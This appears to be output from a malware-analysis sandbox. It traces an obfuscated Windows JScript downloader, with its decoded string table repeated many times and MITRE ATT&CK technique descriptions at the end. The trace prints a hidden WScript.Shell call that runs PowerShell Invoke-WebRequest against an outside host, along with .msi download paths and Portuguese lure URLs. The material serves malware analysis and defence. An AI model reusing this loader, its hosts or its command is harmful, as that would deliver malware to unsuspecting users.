-OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk
201	return _0x1e3ea9;
202	};
203	return _0x53ab ( );	_0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk
204	}
205	function _0x1552(_0x5f1e5c, _0x467e69) {	_0x1552(230) ➔ "push" _0x1552(111) ➔ "eaDJS" _0x1552(199) ➔ "aATaN" _0x1552(228) ➔ "%ProgramDa" _0x1552(122) ➔ "XtdVL" _0x1552(189) ➔ "5AieEzU" _0x1552(192) ➔ "length" _0x1552(118) ➔ "TPFhc" _0x1552(158) ➔ "HgWtq" _0x1552(230) ➔ "fSxJR"
206	var _0x4ad516 = _0x53ab ( );	_0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ ?app=Kra.m,DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk _0x53ab() ➔ DuEPK,ZLaZx,FileSystem,eaDJS,5cd84e44,2178279nqc,"Invoke-We,plicativo/,http://pdf,Object,TPFhc,run,RaSSU,48772LGjEn,XtdVL,197dJYSYr,MoveFile,QruWT,yrpmF,618294YVHPgC,link/contk,//ms-edge.,236061rnRecz,fmFJy,ta/?=66d1c,substring,ULazD,rquivo/lis,Uri https:,6qdDgQp,pjsFF,10CdYxPx,uLcKX,Sleep,powershell, -Command ,WgXPf,OCAGc,MFINy,ell,wjHbA,HhOag,hJYHH,oStHd,si -OutFil,qUuin,vsbOQ,oCtxo,1409821jbm,shift,HgWtq,vvzcH,LBoey,ra/serv.ph,Update,dcFFV,8KApWDK,TmYkb,202716xogZEc,ta%,150689MgwPHe,nPimM,rJxPh,OJzjg,2056vIbDps,6MWZToe,zBuog,FileExists,bRequest -,.msi,265008GdQczN,ShX,jLsFb,wrqdE,jyrJQ,AFggf,MSXjf,1187640yppuoz,ChWGg,672507TXAo,CwkEI,5AieEzU,60VFfyja,AAHqS,length,WdLIV,nFIUf,eIWnP,1120572YyG,RyAPa,kpAZy,aATaN,sNbFT,ings,5626176BtL,etQhA,yLMjB,random,lvUBa,TjxwE,p/baixar-a,yRt,XVrna,Scripting.,oLIZa,ronmentStr,ExpandEnvi,EDSwb,VgbsE,mail.icu/a,//danfe.to,aCBUU,WScript.Sh,UFbpM,fIpzm,JslXL,aPl,4755780kwaAOO,jgp,e ',%ProgramDa,toString,push,fSxJR,wUose,floor,%appdata%,WeHtk,?app=Kra.m
207	return _0x1552 =
208	function (_0x12a48d, _0x17dc4d) {	_0x1552(230,undefined) ➔ "push" _0x1552(111,undefined) ➔ "eaDJS" _0x1552(199,undefined) ➔ "aATaN" _0x1552(228,undefined) ➔ "%ProgramDa" _0x1552(122,undefined) ➔ "XtdVL" _0x1552(189,undefined) ➔ "5AieEzU" _0x1552(192,undefined) ➔ "length" _0x1552(118,undefined) ➔ "TPFhc" _0x1552(158,undefined) ➔ "HgWtq" _0x1552(230,undefined) ➔ "fSxJR"
209	_0x12a48d = _0x12a48d - ( - 0x449 * 0x1 + 0xc51 * - 0x2 + 0x1d56 );
210	var _0x5eb2d5 = _0x4ad516[_0x12a48d];
211	return _0x5eb2d5;
212	}, _0x1552 ( _0x5f1e5c, _0x467e69 );
213	}
214	shell[_0x1c61e9 ( 0x49b + 0x167a + 0x1a62 * - 0x1 ) ] ( bola, 0xb6 * - 0xe + - 0x164f + 0x2043, ! ( - 0x277 * - 0x1 + - 0xad * 0x2f + 0x1d4c ) );	_0x1c61e9(179) ➔ "run" run("powershell -Command "Invoke-WebRequest -Uri https://ms-edge.link/contkra/serv.php"",0,true) ➔ 0

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

